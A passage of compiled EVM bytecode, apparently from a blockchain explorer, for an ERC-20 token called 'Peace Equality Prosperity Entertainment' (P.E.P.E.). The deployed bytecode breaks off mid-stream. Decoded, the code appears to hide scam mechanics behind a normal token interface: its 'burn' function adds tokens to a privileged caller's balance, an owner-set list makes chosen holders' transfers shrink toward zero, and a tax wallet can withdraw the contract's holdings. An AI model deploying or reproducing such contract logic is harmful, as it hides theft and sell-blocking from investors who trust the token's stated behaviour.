601a6101000a81548160ff021916908315150217905550565b601d601b9054906101000a900460ff1681565b5f6009905090565b61099e61153c565b6109af6109a96115cd565b826122bb565b50565b601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d60179054906101000a900460ff1681565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a2a6115cd565b73ffffffffffffffffffffffffffffffffffffffff1614610a49575f80fd5b5f610a5330610b45565b90505f81118015610a705750601d60199054906101000a900460ff165b15610a7f57610a7e8161245b565b5b5f4790505f811115610a9557610a94816126c6565b5b5050565b610aa161153c565b6009600a610aaf919061310b565b66017dfcdece4000610ac19190613155565b6019819055506009600a610ad5919061310b565b66017dfcdece4000610ae79190613155565b601a819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610b1c919061310b565b66017dfcdece4000610b2e9190613155565b604051610b3b9190612cb6565b60405180910390a1565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b9361153c565b610b9c5f61272e565b565b60195481565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be46115cd565b73ffffffffffffffffffffffffffffffffffffffff1614610c03575f80fd5b5f610ca16064610c93848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610c469190612e4b565b602060405180830381865afa158015610c61573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c8591906131d7565b6127f190919063ffffffff16565b61286890919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610cff929190613254565b6020604051808303815f875af1158015610d1b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d3f919061328f565b50505050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601a5481565b60606040518060400160405280600881526020017f502e452e502e452e000000000000000000000000000000000000000000000000815250905090565b5f610dc3610dbc6115cd565b8484611797565b6001905092915050565b610dd561153c565b5f5b83839050811015610e6a5781600b5f868685818110610df957610df8613196565b5b9050602002016020810190610e0e9190612e64565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610dd7565b50505050565b601b5481565b610e7e61153c565b80601d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f836115cd565b73ffffffffffffffffffffffffffffffffffffffff1614610fa2575f80fd5b6010548111158015610fb657506011548111155b610fbe575f80fd5b806010819055508060118190555050565b610fd761153c565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103c9061332a565b60405180910390fd5b61104e8161272e565b50565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b6110ab61153c565b601d60159054906101000a900460ff16156110fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f290613392565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061119a3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a611183919061310b565b66017dfcdece40006111959190613155565b6115d4565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611204573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061122891906133c4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ae573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112d291906133c4565b6040518363ffffffff1660e01b81526004016112ef9291906133ef565b6020604051808303815f875af115801561130b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061132f91906133c4565b601d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113b630610b45565b5f806113c0610d45565b426040518863ffffffff1660e01b81526004016113e296959493929190613416565b60606040518083038185885af11580156113fe573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114239190613475565b505050601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016114c39291906134c5565b6020604051808303815f875af11580156114df573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611503919061328f565b506001601d60196101000a81548160ff0219169083151502179055506001601d60156101000a81548160ff021916908315150217905550565b5f806115466115cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166115cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c290613536565b60405180910390fd5b565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611642576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611639906135c4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a790613652565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161178a9190612cb6565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fc906136e0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186a9061376e565b60405180910390fd5b5f81116118b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ac906137fc565b60405180910390fd5b5f8060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561193a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119319061388a565b60405180910390fd5b5f60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054036119c1574360095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b601d601a9054906101000a900460ff161561206c576119de610d45565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611a4c5750611a1c610d45565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a8457505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611abe575061dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ad75750601d60149054906101000a900460ff16155b1561206b57601d60179054906101000a900460ff16611bcb57600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611b8b5750600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611bca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc190613918565b60405180910390fd5b5b601d60169054906101000a900460ff1615611d9157611be8610d45565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c70575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc95750601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611d90574360095f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410611d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d44906139cc565b60405180910390fd5b4360095f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611e2e575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611ed557601754831115611e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6f90613a5a565b60405180910390fd5b601854611e8485610b45565b84611e8f9190613a78565b1115611ed0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec790613af5565b60405180910390fd5b61206a565b60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f72575060075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611fc157601754831115611fbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb390613b83565b60405180910390fd5b612069565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166120685760185461201b85610b45565b846120269190613a78565b1115612067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205e90613af5565b60405180910390fd5b5b5b5b5b5b601d60149054906101000a900460ff161580156120955750601d601b9054906101000a900460ff165b156120a7576120a485846128b1565b92505b6120f78360035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461291c90919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061219a61214e838561291c90919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461296590919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61223d858761291c90919063ffffffff16565b60405161224a9190612cb6565b60405180910390a35050505050565b5f8383111582906122a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122979190612b81565b60405180910390fd5b505f83856122ae9190613ba1565b9050809150509392505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612329576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232090613c44565b60405180910390fd5b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818111156123ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a490613cd2565b60405180910390fd5b81810160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161244e9190612cb6565b60405180910390a3505050565b6001601d60186101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561249257612491613cf0565b5b6040519080825280602002602001820160405280156124c05781602001602082028036833780820191505090505b50905030815f815181106124d7576124d6613196565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561257b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061259f91906133c4565b816001815181106125b3576125b2613196565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126193060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115d4565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161267b959493929190613dd4565b5f604051808303815f87803b158015612692575f80fd5b505af11580156126a4573d5f803e3d5ffd5b50505050505f601d60186101000a81548160ff02191690831515021790555050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561272a573d5f803e3d5ffd5b5050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303612801575f9050612862565b5f828461280e9190613155565b905082848261281d9190613e59565b1461285d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285490613ef9565b60405180910390fd5b809150505b92915050565b5f6128a983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129c2565b905092915050565b5f80829050600b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156129125761290f8385612a23565b90505b8091505092915050565b5f61295d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612259565b905092915050565b5f8082846129739190613a78565b9050838110156129b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129af90613f61565b60405180910390fd5b8091505092915050565b5f8083118290612a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ff9190612b81565b60405180910390fd5b505f8385612a169190613e59565b9050809150509392505050565b5f80603290505f60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205443612a739190613ba1565b90505f8282612a829190613155565b90505f60648211612a9f57816064612a9a9190613ba1565b612aa1565b5f5b90505f60648289612ab29190613155565b612abc9190613e59565b9050612ad15f82612ade90919063ffffffff16565b9550505050505092915050565b5f81831015612aed5781612aef565b825b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612b2e578082015181840152602081019050612b13565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612b5382612af7565b612b5d8185612b01565b9350612b6d818560208601612b11565b612b7681612b39565b840191505092915050565b5f6020820190508181035f830152612b998184612b49565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612bd282612ba9565b9050919050565b612be281612bc8565b8114612bec575f80fd5b50565b5f81359050612bfd81612bd9565b92915050565b5f819050919050565b612c1581612c03565b8114612c1f575f80fd5b50565b5f81359050612c3081612c0c565b92915050565b5f8060408385031215612c4c57612c4b612ba1565b5b5f612c5985828601612bef565b9250506020612c6a85828601612c22565b9150509250929050565b5f8115159050919050565b612c8881612c74565b82525050565b5f602082019050612ca15f830184612c7f565b92915050565b612cb081612c03565b82525050565b5f602082019050612cc95f830184612ca7565b92915050565b5f805f60608486031215612ce657612ce5612ba1565b5b5f612cf386828701612bef565b9350506020612d0486828701612bef565b9250506040612d1586828701612c22565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112612d4057612d3f612d1f565b5b8235905067ffffffffffffffff811115612d5d57612d5c612d23565b5b602083019150836020820283011115612d7957612d78612d27565b5b9250929050565b5f805f60408486031215612d9757612d96612ba1565b5b5f84013567ffffffffffffffff811115612db457612db3612ba5565b5b612dc086828701612d2b565b93509350506020612dd386828701612c22565b9150509250925092565b5f60ff82169050919050565b612df281612ddd565b82525050565b5f602082019050612e0b5f830184612de9565b92915050565b5f60208284031215612e2657612e25612ba1565b5b5f612e3384828501612c22565b91505092915050565b612e4581612bc8565b82525050565b5f602082019050612e5e5f830184612e3c565b92915050565b5f60208284031215612e7957612e78612ba1565b5b5f612e8684828501612bef565b91505092915050565b612e9881612c74565b8114612ea2575f80fd5b50565b5f81359050612eb381612e8f565b92915050565b5f805f60408486031215612ed057612ecf612ba1565b5b5f84013567ffffffffffffffff811115612eed57612eec612ba5565b5b612ef986828701612d2b565b93509350506020612f0c86828701612ea5565b9150509250925092565b5f8060408385031215612f2c57612f2b612ba1565b5b5f612f3985828601612bef565b9250506020612f4a85828601612bef565b9150509250929050565b5f819050919050565b5f819050919050565b5f612f80612f7b612f7684612f54565b612f5d565b612c03565b9050919050565b612f9081612f66565b82525050565b5f602082019050612fa95f830184612f87565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156130315780860481111561300d5761300c612faf565b5b600185161561301c5780820291505b808102905061302a85612fdc565b9450612ff1565b94509492505050565b5f826130495760019050613104565b81613056575f9050613104565b816001811461306c5760028114613076576130a5565b6001915050613104565b60ff84111561308857613087612faf565b5b8360020a91508482111561309f5761309e612faf565b5b50613104565b5060208310610133831016604e8410600b84101617156130da5782820a9050838111156130d5576130d4612faf565b5b613104565b6130e78484846001612fe8565b925090508184048111156130fe576130fd612faf565b5b81810290505b9392505050565b5f61311582612c03565b915061312083612ddd565b925061314d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461303a565b905092915050565b5f61315f82612c03565b915061316a83612c03565b925082820261317881612c03565b9150828204841483151761318f5761318e612faf565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506131d181612c0c565b92915050565b5f602082840312156131ec576131eb612ba1565b5b5f6131f9848285016131c3565b91505092915050565b5f61321c61321761321284612ba9565b612f5d565b612ba9565b9050919050565b5f61322d82613202565b9050919050565b5f61323e82613223565b9050919050565b61324e81613234565b82525050565b5f6040820190506132675f830185613245565b6132746020830184612ca7565b9392505050565b5f8151905061328981612e8f565b92915050565b5f602082840312156132a4576132a3612ba1565b5b5f6132b18482850161327b565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f613314602683612b01565b915061331f826132ba565b604082019050919050565b5f6020820190508181035f83015261334181613308565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61337c601783612b01565b915061338782613348565b602082019050919050565b5f6020820190508181035f8301526133a981613370565b9050919050565b5f815190506133be81612bd9565b92915050565b5f602082840312156133d9576133d8612ba1565b5b5f6133e6848285016133b0565b91505092915050565b5f6040820190506134025f830185612e3c565b61340f6020830184612e3c565b9392505050565b5f60c0820190506134295f830189612e3c565b6134366020830188612ca7565b6134436040830187612f87565b6134506060830186612f87565b61345d6080830185612e3c565b61346a60a0830184612ca7565b979650505050505050565b5f805f6060848603121561348c5761348b612ba1565b5b5f613499868287016131c3565b93505060206134aa868287016131c3565b92505060406134bb868287016131c3565b9150509250925092565b5f6040820190506134d85f830185612e3c565b6134e56020830184612ca7565b9392505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613520602083612b01565b915061352b826134ec565b602082019050919050565b5f6020820190508181035f83015261354d81613514565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6135ae602483612b01565b91506135b982613554565b604082019050919050565b5f6020820190508181035f8301526135db816135a2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61363c602283612b01565b9150613647826135e2565b604082019050919050565b5f6020820190508181035f83015261366981613630565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6136ca602583612b01565b91506136d582613670565b604082019050919050565b5f6020820190508181035f8301526136f7816136be565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613758602383612b01565b9150613763826136fe565b604082019050919050565b5f6020820190508181035f8301526137858161374c565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6137e6602983612b01565b91506137f18261378c565b604082019050919050565b5f6020820190508181035f830152613813816137da565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f613874602683612b01565b915061387f8261381a565b604082019050919050565b5f6020820190508181035f8301526138a181613868565b9050919050565b7f5f7472616e736665723a3a2054726164696e67206973206e6f742061637469765f8201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b5f613902602283612b01565b915061390d826138a8565b604082019050919050565b5f6020820190508181035f83015261392f816138f6565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f6139b6604983612b01565b91506139c182613936565b606082019050919050565b5f6020820190508181035f8301526139e3816139aa565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d617854782e0000000000000000000000000000000000000000000000000000602082015250565b5f613a44602683612b01565b9150613a4f826139ea565b604082019050919050565b5f6020820190508181035f830152613a7181613a38565b9050919050565b5f613a8282612c03565b9150613a8d83612c03565b9250828201905080821115613aa557613aa4612faf565b5b92915050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f613adf601383612b01565b9150613aea82613aab565b602082019050919050565b5f6020820190508181035f830152613b0c81613ad3565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d617854782e00000000000000000000000000000000000000000000000000602082015250565b5f613b6d602783612b01565b9150613b7882613b13565b604082019050919050565b5f6020820190508181035f830152613b9a81613b61565b9050919050565b5f613bab82612c03565b9150613bb683612c03565b9250828203905081811115613bce57613bcd612faf565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f613c2e602183612b01565b9150613c3982613bd4565b604082019050919050565b5f6020820190508181035f830152613c5b81613c22565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e5f8201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b5f613cbc602283612b01565b9150613cc782613c62565b604082019050919050565b5f6020820190508181035f830152613ce981613cb0565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613d4f81612bc8565b82525050565b5f613d608383613d46565b60208301905092915050565b5f602082019050919050565b5f613d8282613d1d565b613d8c8185613d27565b9350613d9783613d37565b805f5b83811015613dc7578151613dae8882613d55565b9750613db983613d6c565b925050600181019050613d9a565b5085935050505092915050565b5f60a082019050613de75f830188612ca7565b613df46020830187612f87565b8181036040830152613e068186613d78565b9050613e156060830185612e3c565b613e226080830184612ca7565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613e6382612c03565b9150613e6e83612c03565b925082613e7e57613e7d613e2c565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613ee3602183612b01565b9150613eee82613e89565b604082019050919050565b5f6020820190508181035f830152613f1081613ed7565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613f4b601b83612b01565b9150613f5682613f17565b602082019050919050565b5f6020820190508181035f830152613f7881613f3f565b905091905056fe506561636520457175616c6974792050726f7370657269747920456e7465727461696e6d656e7445524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220467b69c1dec351c5cb4ac684c76a9caffa0300e6778e267d911188e7941f5e6164736f6c634300081600330000000000000000000000001774d760a8013b196d2b18147aa51e57af43e793

Deployed Bytecode

0x6080604052600436106101db575f3560e01c806370a0823111610101578063ad296d9d11610094578063ec1f3f6311610063578063ec1f3f6314610640578063f2fde38b14610668578063f55332ab14610690578063fb201b1d146106cc576101e2565b8063ad296d9d1461058a578063bf474bed146105b2578063c2b7bbb6146105dc578063dd62ed3e14610604576101e2565b80638da5cb5b116100d05780638da5cb5b146104d05780638f9a55c0146104fa57806395d89b4114610524578063a9059cbb1461054e576101e2565b806370a082311461042c578063715018a6146104685780637d1db4a51461047e5780638cd4426d146104a8576101e2565b8063293230b81161017957806349bd5a5e1161014857806349bd5a5e146103ac5780634ada218b146103d657806351bc3c85146104005780636225658914610416576101e2565b8063293230b81461031a5780632e82f1a014610330578063313ce5671461035a57806342966c6814610384576101e2565b80630faee56f116101b55780630faee56f1461026257806318160ddd1461028c57806323b872dd146102b657806326ededb8146102f2576101e2565b806302fa1f4a146101e657806306fdde03146101fc578063095ea7b314610226576101e2565b366101e257005b5f80fd5b3480156101f1575f80fd5b506101fa6106e2565b005b348015610207575f80fd5b5061021061072a565b60405161021d9190612b81565b60405180910390f35b348015610231575f80fd5b5061024c60048036038101906102479190612c36565b61074a565b6040516102599190612c8e565b60405180910390f35b34801561026d575f80fd5b50610276610767565b6040516102839190612cb6565b60405180910390f35b348015610297575f80fd5b506102a061076d565b6040516102ad9190612cb6565b60405180910390f35b3480156102c1575f80fd5b506102dc60048036038101906102d79190612ccf565b610793565b6040516102e99190612c8e565b60405180910390f35b3480156102fd575f80fd5b5061031860048036038101906103139190612d80565b610867565b005b348015610325575f80fd5b5061032e61093c565b005b34801561033b575f80fd5b5061034461097b565b6040516103519190612c8e565b60405180910390f35b348015610365575f80fd5b5061036e61098e565b60405161037b9190612df8565b60405180910390f35b34801561038f575f80fd5b506103aa60048036038101906103a59190612e11565b610996565b005b3480156103b7575f80fd5b506103c06109b2565b6040516103cd9190612e4b565b60405180910390f35b3480156103e1575f80fd5b506103ea6109d7565b6040516103f79190612c8e565b60405180910390f35b34801561040b575f80fd5b506104146109ea565b005b348015610421575f80fd5b5061042a610a99565b005b348015610437575f80fd5b50610452600480360381019061044d9190612e64565b610b45565b60405161045f9190612cb6565b60405180910390f35b348015610473575f80fd5b5061047c610b8b565b005b348015610489575f80fd5b50610492610b9e565b60405161049f9190612cb6565b60405180910390f35b3480156104b3575f80fd5b506104ce60048036038101906104c99190612c36565b610ba4565b005b3480156104db575f80fd5b506104e4610d45565b6040516104f19190612e4b565b60405180910390f35b348015610505575f80fd5b5061050e610d6d565b60405161051b9190612cb6565b60405180910390f35b34801561052f575f80fd5b50610538610d73565b6040516105459190612b81565b60405180910390f35b348015610559575f80fd5b50610574600480360381019061056f9190612c36565b610db0565b6040516105819190612c8e565b60405180910390f35b348015610595575f80fd5b506105b060048036038101906105ab9190612eb9565b610dcd565b005b3480156105bd575f80fd5b506105c6610e70565b6040516105d39190612cb6565b60405180910390f35b3480156105e7575f80fd5b5061060260048036038101906105fd9190612e64565b610e76565b005b34801561060f575f80fd5b5061062a60048036038101906106259190612f16565b610ec1565b6040516106379190612cb6565b60405180910390f35b34801561064b575f80fd5b5061066660048036038101906106619190612e11565b610f43565b005b348015610673575f80fd5b5061068e60048036038101906106899190612e64565b610fcf565b005b34801561069b575f80fd5b506106b660048036038101906106b19190612e64565b611051565b6040516106c39190612c8e565b60405180910390f35b3480156106d7575f80fd5b506106e06110a3565b005b6106ea61153c565b5f6015819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f6040516107209190612f96565b60405180910390a1565b6060604051806060016040528060278152602001613f8060279139905090565b5f61075d6107566115cd565b84846115d4565b6001905092915050565b601c5481565b5f6009600a61077c919061310b565b66017dfcdece